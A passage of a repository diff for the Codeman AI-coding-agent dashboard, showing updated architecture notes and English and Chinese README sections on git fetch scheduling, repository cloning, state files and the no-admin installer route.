(`test/git-fetch.test.ts`); those `-c` overrides are added by the runner, not by `buildFetchArgs()`. ⚠️ The git timeout must reach the whole process TREE, not just the `git` parent: `execFile` signals the parent only, so `runFetch` spawns `detached` and signals the negative pid (SIGTERM, then SIGKILL `FETCH_KILL_ESCALATION_MS` later), and the caller is answered AT the timeout while the group is still dying: that is the point. `test/git-fetch.test.ts` proves it against a local server that never answers, by group membership rather than parentage. A non-zero exit must still reject the way `execFile` would, or a real failure reads as a clean run with no reason. ⚠️ The same Docker rule as above applies BEFORE any git runs (a repository at or inside a Docker case workspace is refused), and remote sessions answer `unsupported`. ⚠️ Keep it non-interactive (`gitNonInteractiveEnv()`: `GIT_TERMINAL_PROMPT=0` + BatchMode ssh) or a fetch hangs on an invisible login prompt, but that BatchMode ssh is a DEFAULT, never an override: `fetchEnvFor` must not overwrite the repository's `core.sshCommand`, the user's own `GIT_SSH_COMMAND` or a `GIT_SSH` (`readRepoSshCommand` reads it inside the same limiter slot and the same wall-clock bound as the fetch it serves, and the spawn gets only what the read left), and `StrictHostKeyChecking=accept-new` writes an unknown host key into `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. Keep it bounded: `MAX_REPOS`/`MAX_REPOS_LIMIT` (12/50), `MAX_FETCH_OUTPUT_BYTES` (2 MB), the git timeout per spawn, and `FETCH_CONCURRENCY` (4) as ONE `Limiter` shared by the fetches of the whole tick: `createLimiter` keeps its count in the closure, so a limiter that delegated to `mapLimited` per call bounds each call, and 4 folders × 4 repositories would start 16 git processes. ⚠️ One semaphore cannot bound both the folders and the fetches: a folder holding a slot would then wait for a slot its own fetch needs, so the tick bounds its folders with `mapLimited` and hands the shared bound to every run. ⚠️ Failure text reaching a client is control-stripped and credential-redacted (`sanitizeGitOutput`) and the browser writes it with `textContent`. Scheduler semantics: settings are read fresh each tick (`GIT_FETCH_TICK_INTERVAL_MS`, 15 s), a per-session override wins even while the app-wide switch is off, the interval is timed from the run START, state is keyed by FOLDER (sessions sharing one folder are the same clone, so one run serves them all, the schedule is stamped at selection, and every session on a folder is remembered, a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins (both orders are tested), and the folder is probed once for the whole group rather than once per session on it: closing the one that holds the override must not stop the folder's fetching while another session is still open on it), a tick is skipped while the previous one is still going, and a user-chosen folder is probed BOUNDED with the default options before anything runs (rule #516: `unknown` is never read as `absent`). ⚠️ The two settings (`gitFetchEnabled`, `gitFetchIntervalSeconds`, off/300 by default, clamped 30–3600) are **synced**, not per-device: they must stay out of `displayKeys` and out of the strip destructure in settings-ui.js, or the scheduler reads nobody's value. Per-session state rides `SessionUpdated` (no new SSE event) as `gitFetch`, and the click route publishes the run's trigger, not the request's: `trigger: 'click'` only when the click was the run, because a click that joined a tick already going fetched nothing and cannot report itselLine truncated
**Edit history panel** (`showEditHistory`, per-device, default OFF; issue #643): which files a LOCAL claude session edited, with diffs and the images a Bash call produced, read from its transcripts. ⚠️ **Reads only on request:** only the open panel triggers a read (`?sync=1`); the server never syncs on its own (no hook, timer or second watcher; wiring-guard test). ⚠️ **The store holds secrets** (every diff): 0600 under `dataPath('edit-history')`, bounded per session, deleted with the session's record, blocked in `isSensitivePath`, never fed to `/api/search`. ⚠️ **Images only through the existing file surfaces** (`file-raw` in the workspace, the attachment route outside it); no route here serves a transcript-supplied path, and such paths are probed only through `probePathKind()`. Remote, Docker and non-claude sessions answer `unsupported`. → [architecture-invariants#edit-history-panel](docs/architecture-invariants.md#edit-history-panel)
**Edit history panel** (`showEditHistory`, per-device, default OFF; issue #643): which files a claude session (local or remote SSH) edited, with diffs and the images a Bash call produced, read from its transcripts. ⚠️ **Reads only on request:** only the open panel triggers a read (`?sync=1`); the server never syncs on its own (no hook, timer or second watcher; wiring-guard test). ⚠️ **The store holds secrets** (every diff): 0600 under `dataPath('edit-history')`, bounded per session, deleted with the session's record, blocked in `isSensitivePath`, never fed to `/api/search`. ⚠️ **Images only through the existing file surfaces** (`file-raw` in the workspace, the attachment route outside it); no route here serves a transcript-supplied path, and such paths are probed only through `probePathKind()`, a remote session's only through `remoteProbePaths()`. ⚠️ **Remote reads never wake a host:** only the bounded ssh read path of `remote-files.ts`, a sleeping host answers `unavailable` (wiring-guard test). Docker, non-claude and adopted sessions answer `unsupported`. → [architecture-invariants#edit-history-panel](docs/architecture-invariants.md#edit-history-panel)
**Raw file bodies are streamed and range-aware**: `file-raw`, the attachments `/raw` route, `GET /api/download` and the rendered-HTML route `GET /html-view/<cap>/...` share `sendFileBody()`, advertise `Accept-Ranges: bytes` and answer `Range` with `206` + `Content-Range` (single-range, parser in `src/web/http-range.ts`); without it `<video>` cannot seek. The size cap (`MAX_FILE_DOWNLOAD_BYTES`, default 2GB, env `CODEMAN_MAX_DOWNLOAD_BYTES`, `0` = unlimited) is a sanity bound, not memory protection; never reintroduce a whole-file buffer. ⚠️ Bodies go out via `reply.hijack()`, so `sendRawStream` must copy the status onto `reply.raw` by hand or a partial body ships as `200`. ⚠️ Closing the preview must pause and unload media (`_stopFilePreviewMedia`), since a detached `HTMLMediaElement` keeps playing. → [architecture-invariants#raw-file-bodies-streamed-and-range-aware](docs/architecture-invariants.md#raw-file-bodies-streamed-and-range-aware)
**Ultracode / workflow-run visualization** (opt-in, default OFF): the Workflow tool writes a completion artifact only at run *end*, so live in-flight runs exist solely as transcript dirs. `workflow-run-watcher.ts` therefore synthesizes ACTIVE runs from transcripts until the completion artifact appears and supersedes them. It is **STANDALONE** and deliberately never imports or touches `subagent-watcher.ts`, despite reading the same tree. Two independent toggles: `showUltracodeAgents` (docked panel) and `ultracodeFloatingWindows` (floating windows); the watcher starts if **either** is on. → [architecture-invariants#ultracode-and-workflow-run-visualization](docs/architecture-invariants.md#ultracode-and-workflow-run-visualization)
**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones synchronously into the caller's case space (bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` checks anonymous cloneability and lists refs. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: refuse every `::` form and a leading `-`, spawn only argv arrays with `--` before operands. ⚠️ Stay non-interactive (`gitNonInteractiveEnv()`) or the open request hangs; never collect credentials, refuse `user:password@` URLs. ⚠️ Timeout kills the process GROUP, remove the destination only if this attempt created it, and repo contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo `.claude/settings*` warned about). ⚠️ A `path` is the folder cloned INTO (no case-name subfolder) and registers a linked case: admin-only in multi-user mode, judged by `prepareNewCasePath()`, empty or new only; an empty one is cloned into directly and never removed, and emptied after a failure only when git really ran and did not refuse it. ⚠️ A destination at or inside a Docker case workspace is refused `400` on both branches: git would run the new repository's hooks and filters on the host. → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones synchronously into the caller's case space (bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` checks anonymous cloneability and lists refs. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: refuse every `::` form and a leading `-`, spawn only argv arrays with `--` before operands. ⚠️ Stay non-interactive (`gitNonInteractiveEnv()`) or the open request hangs; never collect credentials, refuse `user:password@` URLs. ⚠️ Timeout kills the process GROUP, remove the destination only if this attempt created it, and repo contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo `.claude/settings*` warned about). ⚠️ A `path` is the folder cloned INTO (the API adds no case-name subfolder; the Clone Repo tab's custom folder is a PARENT, so the page sends `<folder>/<case name>` through `_cloneTargetPath()`, as Create New does through `_newCaseTargetPath()`) and registers a linked case: admin-only in multi-user mode, judged by `prepareNewCasePath()`, empty or new only; an empty one is cloned into directly and never removed, and emptied after a failure only when git really ran and did not refuse it. ⚠️ A destination at or inside a Docker case workspace is refused `400` on both branches: git would run the new repository's hooks and filters on the host. → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
**Git worktrees of a case** (case picker → **Git worktrees…**; `src/git-worktrees.ts`, `routes/worktree-routes.ts`): a local repository case keeps worktrees at `<repo>/.claude/worktrees/<name>` on `worktree-<name>`, Claude Code's own `--worktree` layout. ⚠️ Only that managed path is ever created or removed, every component `lstat`ed and realpath-checked (a symlinked `.claude` is refused). ⚠️ git never runs for a Docker or remote case, nor at or inside a Docker workspace (`worktree add` runs hooks and filters on the host). ⚠️ Remove is `git worktree remove` WITHOUT `--force`, refused while a live session is inside; branch delete is `-d`, never `-D`. ⚠️ Sessions start through the existing create paths (quick-start `worktree`, or `POST /api/sessions` `workingDir`), never a new spawn path. → [architecture-invariants#git-worktrees-of-a-case](docs/architecture-invariants.md#git-worktrees-of-a-case)
@@ -319,7 +326,7 @@ One module per domain in `src/web/routes/` (plus a barrel; `ls src/web/routes/`
## State Files
All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) and `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back; both installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all three installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
**Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
@@ -384,6 +391,6 @@ Two constraints worth knowing before you touch them: the env-derived PTY buffer
## Scripts & Tunnel
**`install.sh`** (repo root) is the public `curl | bash` installer: it installs Node/tmux/git/build tools, clones to `~/.codeman/app`, builds, and offers a systemd/launchd service, asking every question BEFORE the unattended build (log in `~/.codeman/install.log`). Network access is Tailscale / LAN / local-only; re-runs preserve the existing binding AND password (`read_existing_binding()`). ⚠️ Compose the hand-start env only in `start_command_hint`/`export_bind_env`, and call `stop_background_helpers` before `exec`. ⚠️ Tailscale rename is opt-in (default NO, never under `--yes`/non-interactive); NEVER `tailscale serve reset`, touch a mapping it did not create, run `tailscale funnel` or advertise a Service (`test/install-sh-invariants.test.ts`). ⚠️ Stay **bash 3.2** clean (no `declare -A`, `mapfile`, namerefs, `${x,,}`, here-strings, empty-array expansion under `set -u`). ⚠️ Execute only commands from the generated CLI block (`CLI_INSTALL_CMD_TRUSTED`, `npm run generate:cli-catalog`). → [architecture-invariants#installsh-the-public-installer](docs/architecture-invariants.md#installsh-the-public-installer)
**`install.sh`** (repo root) is the public `curl | bash` installer: it installs Node/tmux/git/build tools, clones to `~/.codeman/app`, builds, and offers a systemd/launchd service, asking every question BEFORE the unattended build (log in `~/.codeman/install.log`). Network access is Tailscale / LAN / local-only; re-runs preserve the existing binding AND password (`read_existing_binding()`). ⚠️ Compose the hand-start env only in `start_command_hint`/`export_bind_env`, and call `stop_background_helpers` before `exec`. ⚠️ Tailscale rename is opt-in (default NO, never under `--yes`/non-interactive); NEVER `tailscale serve reset`, touch a mapping it did not create, run `tailscale funnel` or advertise a Service (`test/install-sh-invariants.test.ts`). ⚠️ **No-admin route** (`--no-admin` / `CODEMAN_NO_ADMIN`, taken by itself when the account has no administrator rights): Node.js (nodejs.org, checked against `SHASUMS256.txt`) and tmux (`tmux/tmux-builds`, digests pinned in `tmux_build_sha256`: bump `TMUX_BUILD_VERSION` and all four together) go into `~/.codeman/runtime`, and without a working git the source is an archive that updates by a re-run (built beside the old tree, swapped in after the build). Nothing in that section may run `sudo`, Homebrew or `xcode-select --install`, a download is verified before it is unpacked, the route is never decided by `sudo -v`, `/usr/bin/git` on a Mac is never executed before `xcode-select -p` proves the developer tools, and `no_admin_blocker` stops BEFORE the first download for what it cannot supply (a Linux toolchain, macOS below 15). ⚠️ Stay **bash 3.2** clean (no `declare -A`, `mapfile`, namerefs, `${x,,}`, here-strings, empty-array expansion under `set -u`). ⚠️ Execute only commands from the generated CLI block (`CLI_INSTALL_CMD_TRUSTED`, `npm run generate:cli-catalog`). ⚠️ Codeman Desktop drives it with no terminal (`--no-admin --progress --ai-cli <id>|none`, `install.sh preflight`, `install.sh agent <id>` to add one agent next to a running Codeman, `packages/desktop/src/gui_install.rs`): `cli_offerable` is the one rule for what can be installed, `preflight` stdout is JSON only, `agent` says `done` only when THAT agent landed, and the `progress_phase` order is pinned against `connect.html`, with `done` last. → [architecture-invariants#installsh-the-public-installer](docs/architecture-invariants.md#installsh-the-public-installer)
Other key scripts: `scripts/tmux-manager.sh` (safe tmux mgmt), `scripts/tunnel.sh [quick|named] start|stop|status|url` (quick = random trycloudflare URL, default; `named setup|enable` = fixed-hostname tunnel via `scripts/codeman-tunnel-named.service`; bare `start|stop|url` still means quick), `scripts/run-beta.sh` (isolated beta instance), `scripts/build-agent-image.mjs` (docker base image), `scripts/self-update.sh` (detached updater). Production services: `scripts/codeman-web.service`, `scripts/codeman-tunnel.service`. **Always set `CODEMAN_PASSWORD`** before exposing via tunnel.
+12 -3
View File
@@ -69,6 +69,7 @@ This installs Node.js, tmux and a build toolchain if missing (node-pty ships no
- **How it's reachable, your choice.** **Tailscale** (loopback bind fronted by `tailscale serve`, so you get `https://<machine>.<tailnet>.ts.net` with a real certificate and your tailnet as the login, no password needed), **any device on your network** (`0.0.0.0`, with a strongly recommended password prompt), or **this machine only** (`127.0.0.1`, safest). Skipping the password on a network bind requires an explicit confirmation and ends with a loud warning. The highlighted default reflects what is already on the machine (Tailscale when it is already connected, your existing binding on a re-run), and a bare Enter never pulls in new software. If another app already owns `:443` on your node, Codeman goes under `https://<machine>.<tailnet>.ts.net/codeman` or on a second port instead of replacing it. A bare `codeman web` started by hand still defaults to loopback.
- **The name is yours to choose.** By default the URL uses the machine's existing tailnet name. Answering yes to the second question renames the machine to `codeman-<hostname>` (which also renames it for SSH, so the default is no); `install.sh name` does it later.
- **Re-run to update.** The same one-liner updates a finished install in place: local changes in `~/.codeman/app` are stashed (never discarded), and a running service is restarted and verified. If a first install was interrupted, re-running resumes the full setup instead. `install.sh status` prints the URLs and the QR code again; `install.sh update`, `install.sh tailscale` and `install.sh uninstall` also exist.
- **No administrator rights needed.** On an account without `sudo`, one whose `sudo` rights the installer cannot confirm (outside the `sudo`, `wheel` and `admin` groups, with a password still required) or a Mac account that is not an administrator and has no Homebrew it can write to, the installer downloads Node.js from nodejs.org and the tmux project's own build into `~/.codeman/runtime`, each checked against its SHA-256, and takes the source as an archive when there is no working git. `--no-admin` forces that route and `CODEMAN_NO_ADMIN=0` turns it off. Two limits: Linux needs make, a C++ compiler and python3 to be there already, and the tmux download needs macOS 15 or newer. Details in the [wiki](https://github.com/Ark0N/Codeman/wiki/Installation#without-administrator-rights).
- **Flags for the impatient.** `curl -fsSL https://getcodeman.com/install | bash -s -- --tailscale --service` answers the questions from the command line (`--lan`, `--local`, `--run`, `--no-start`, `--name <n>`, `--port <n>`, `--yes` too). **CI / headless:** without a terminal attached, steps that would change your system abort with instructions instead of running silently; set `CODEMAN_NONINTERACTIVE=1` to approve them for automation.
You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), [Codex](https://developers.openai.com/codex/cli), [Antigravity](https://antigravity.google), [Gemini CLI](https://github.com/google-gemini/gemini-cli), [Pi](https://pi.dev), [Grok Build](https://github.com/xai-org/grok-build), [DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness), [OMP](https://github.com/can1357/oh-my-pi), or [GitHub Copilot CLI](https://github.com/github/copilot-cli) (any combination works; Gemini CLI is enterprise-only since Google's consumer cutover, and Antigravity is its successor). The installer detects whichever of the ten is present; if none is found, it offers to install any of them from a menu (DeepSeek excepted, since its npm package installs only a launcher with no runnable profile), or you can skip and install one yourself later. After install:
@@ -85,10 +86,17 @@ codeman users add alice --admin # create the first admin account
codeman web --multiuser # named logins + per-user case spaces
```
**Prefer Docker Compose?** A local-image Compose deployment ships in `docker/`: copy `docker/.env.example` to `docker/.env`, set `CODEMAN_PASSWORD`, then run `bash docker/Start-Codeman.sh` on Linux. Codeman runs in a container and spawns Docker cases as sibling containers through the host socket. After updating, run the script again rather than a plain `docker compose up`, so the rebuilt image, refreshed volumes and entrypoint arrive together. See the [Docker deployment guide](docker/README.md) for direct Compose commands, storage and networking options.
Details in [Multi-User Mode](#multi-user-mode-opt-in) below.
**Prefer Docker Compose?** Clone the repo and run one script (Linux, Docker with the Compose v2 plugin):
```bash
git clone https://github.com/Ark0N/Codeman.git && cd Codeman
bash docker/Start-Codeman.sh
```
The first run asks three questions (data folder, port, password; Enter takes the default, including a generated password), writes `docker/.env` for you, builds the image and ends on the URL once Codeman answers. The image already includes Claude Code, Codex, Gemini CLI and OpenCode. Codeman runs in a container and spawns Docker cases as sibling containers through the host socket. To update, use **App Settings → Updates**, or `git pull` and run the script again rather than a plain `docker compose up`, so the rebuilt image, refreshed volumes and entrypoint arrive together. See the [Docker deployment guide](docker/README.md) for Unraid, direct Compose commands, storage and networking options.
<details>
<summary><strong>Keep it running in the background</strong></summary>
@@ -464,6 +472,7 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
- **Git status in the bottom bar** — off by default (**App Settings → Header & Panels → Bottom bar → Git status**, per device). A small indicator at the right of the bottom bar shows the active session's repository at a glance: `● 3` uncommitted files, `↑ 2` commits not pushed, `⚠` merge conflicts, `✓` all committed and pushed. Click it for a draggable window listing the staged, not-staged, untracked and conflicted files (grouped under collapsed folders, or as a flat list if you turn that setting off) and the unpushed commits; **click a file to see its diff** (new files as all additions, deleted files as all removals), with **Open file** to jump to the viewer. A folder that holds several projects gets one collapsible section per repository found up to two levels down, all collapsed until you open them. **Fetch** in that window's header runs `git fetch` for the repositories it lists, on your click or on an interval you turn on (**App Settings → Bottom bar**, off by default; **Session Options → Git** overrides both the switch and the interval per session). Sessions open on the same folder share one run and each sees its result. Apart from that fetch Codeman never fetches or changes the repo, so "behind" is as of the last fetch; not shown for Docker or remote sessions.
- **Clone a GitHub repo as a case** — paste a repository URL into **Add Case → Clone Repo** and Codeman clones it into `~/codeman-cases/<name>` and registers it as a normal case, ready to run an agent in. It preflights the URL while you type (tells you whether it can be cloned anonymously and offers the repo's real branches and tags for the optional branch/tag field), fills the case name in from the URL, and lets you pick which CLI the Run button should use. Public repositories over `https://`; Codeman never collects or stores credentials
- **Create a case in a custom folder** — tick **Create in a custom folder** in **Add Case → Create New**, pick a parent folder (Browse included) and a name, and Codeman scaffolds the new case there instead of `~/codeman-cases`. The target must be a new or empty folder; system directories, your home folder itself, credential trees such as `~/.ssh`, and Codeman's own data folder are refused. Admin only in multi-user mode.
- **Open a tmux session you started by hand**: a tmux session started outside Codeman shows up on the home screen, on this machine automatically and in your Docker cases' containers or on your saved SSH hosts when you scan for them. One click opens it as a tab. Closing the tab only detaches, and Codeman will not respawn or relaunch an agent it did not start. See [Opened outside Codeman](docs/wiki/The-Dashboard.md#opened-outside-codeman).
- **Multi-CLI** — run **Claude Code**, **OpenCode**, **Codex**, **Antigravity**, **Gemini**, **Pi**, **Grok**, **DeepSeek Harness**, **OMP**, or **GitHub Copilot CLI** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `ANTIGRAVITY_*` vs `GEMINI_*`/`GOOGLE_*` vs `PI_*` vs `GROK_*`/`XAI_*` vs `DSH_*`/`DEEPSEEK_*` vs `OMP_*` vs `COPILOT_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md), [`docs/pi-integration.md`](docs/pi-integration.md), [`docs/grok-integration.md`](docs/grok-integration.md), [`docs/deepseek-integration.md`](docs/deepseek-integration.md) [`docs/omp-integration.md`](docs/omp-integration.md) and [`docs/copilot-integration.md`](docs/copilot-integration.md)
- **Custom model endpoints** _(new in 1.29.0, HTTP API for now)_ — point a session's CLI at any OpenAI-compatible endpoint instead of its native backend: a local llama.cpp, llama-swap, Ollama or vLLM box, or a cloud gateway such as Azure AI Foundry or OpenRouter. Save an endpoint once (`POST /api/model-endpoints`; its models are discovered from `/v1/models`), apply it to a session (`POST /api/sessions/:id/custom-model`), and the CLI restarts in place on that endpoint. Verified live for Claude, OpenCode, Pi, Grok and OMP; Codex, Gemini and DeepSeek have documented gaps, Antigravity has no mechanism. A toolbar picker is the follow-up. See [`docs/custom-model-endpoints.md`](docs/custom-model-endpoints.md)
- **Web tabs** — open Grafana, Uptime Kuma, a Vite dev server or any dashboard URL as a tab beside your sessions (Run dropdown → **Web / URL** → **Add URL**). Dashboards are proxied through Codeman's own origin, so an `http://` target works from a phone over HTTPS and through the tunnel, single-page apps route on their own paths, and a frame that reloads recovers itself. A `localhost` link an agent prints opens as a web tab automatically. See [`docs/web-tabs.md`](docs/web-tabs.md)
@@ -516,7 +525,7 @@ Point a case at another machine and run the agent **there**, over SSH, with the
- **Discover & attach**: list the `codeman-*` sessions already running on a host (started by that machine's own Codeman, or by another operator) and attach to one. Attached sessions you don't own **detach on tab close, never kill**.
- **Shared sessions**: several clients can attach the same remote session at different window sizes without clamping each other; discovery shows a "shared" badge with the client count.
- **Injection-safe**: every ssh command line flows through a single shell-escaping builder, and host/path/identity fields are schema-guarded.
- **Files too**: previews, downloads and text reads in a remote case go over the same ssh connection (one `realpath` + `stat` probe, then a streamed `cat`, `Range` seeking included), so a clicked path opens the file on the machine the agent is on. Nothing is copied to the Codeman host; editing and Office previews answer a clear 400 instead of a misleading 404.
- **Files too**: previews, downloads and text reads in a remote case go over the same ssh connection (one `realpath` + `stat` probe, then a streamed `cat`, `Range` seeking included), so a clicked path opens the file on the machine the agent is on. Nothing is copied to the Codeman host apart from the diffs the Edit history panel keeps; editing and Office previews answer a clear 400 instead of a misleading 404.
- **Full scrollback**: loading a remote session's history reads it from the remote tmux in one bounded ssh round trip, so a session keeps its whole scrollback after a reattach or a tab switch, with no rows lost where the history meets the live screen.
Set it up under **New Case → Remote** (host, user, identity file, optional jump host). Full design: [`docs/remote-sessions.md`](docs/remote-sessions.md).
+11 -2
View File
@@ -71,6 +71,7 @@ curl -fsSL https://getcodeman.com/install | bash
- **怎么访问,由你决定。** 安装器提供三种到达仪表盘的方式:**Tailscale**(环回绑定,由 `tailscale serve` 代理,得到带真实证书的 `https://<机器名>.<tailnet>.ts.net`,用你的 tailnet 当登录,无需密码)、**局域网内任意设备**(`0.0.0.0`,会提示设置一个强烈推荐的密码),或**仅本机**(`127.0.0.1`,最安全)。绑定网络却跳过密码需要显式确认,并以醒目警告收尾。高亮的默认项反映机器上已有的状态(已在用 Tailscale 时默认 Tailscale,重跑时沿用现有绑定),直接回车绝不会引入新软件。如果你节点上的 `:443` 已被别的应用占用,Codeman 会改用 `https://<机器名>.<tailnet>.ts.net/codeman` 或第二个端口,而不是把它替换掉。手动运行的 `codeman web` 仍默认仅环回。
- **名字由你来定。** 默认情况下,URL 用的是这台机器在 tailnet 里现有的名字。第二个问题答「是」会把机器改名为 `codeman-<hostname>`(这也会改掉它在 SSH 里的名字,所以默认是「否」);之后也可以用 `install.sh name` 来改。
- **重跑即更新。** 再次运行同一条命令即可原地更新已完成的安装:`~/.codeman/app` 中的本地改动会被 stash(绝不丢弃),运行中的服务会自动重启并校验。若首次安装中途失败,重跑会继续完成完整的安装流程。`install.sh status` 会再次打印 URL 和二维码;另外还有 `install.sh update`、`install.sh tailscale` 和 `install.sh uninstall`。
- **无需管理员权限。** 在没有 `sudo` 的账户、安装器无法确认 `sudo` 权限的账户(不在 `sudo`、`wheel`、`admin` 组内,且 `sudo` 需要密码)或不是管理员、也没有可写入的 Homebrew 的 Mac 账户上,安装器会把 nodejs.org 的 Node.js 和 tmux 项目自己的构建下载到 `~/.codeman/runtime`,两者都会校验 SHA-256;没有可用的 git 时,则以归档包的方式获取源码。`--no-admin` 强制走这条路线,`CODEMAN_NO_ADMIN=0` 则将其关闭。两个限制:Linux 上必须已有 make、C++ 编译器和 python3,tmux 下载需要 macOS 15 或更新版本。详见 [wiki](https://github.com/Ark0N/Codeman/wiki/Installation#without-administrator-rights)。
- **给急性子的参数。** `curl -fsSL https://getcodeman.com/install | bash -s -- --tailscale --service` 直接在命令行上回答这些问题(还有 `--lan`、`--local`、`--run`、`--no-start`、`--name <n>`、`--port <n>`、`--yes`)。**CI / 无终端环境:** 没有终端时,涉及系统改动的步骤会带着说明中止,而不是静默执行;在自动化场景设置 `CODEMAN_NONINTERACTIVE=1` 即可批准这些步骤。
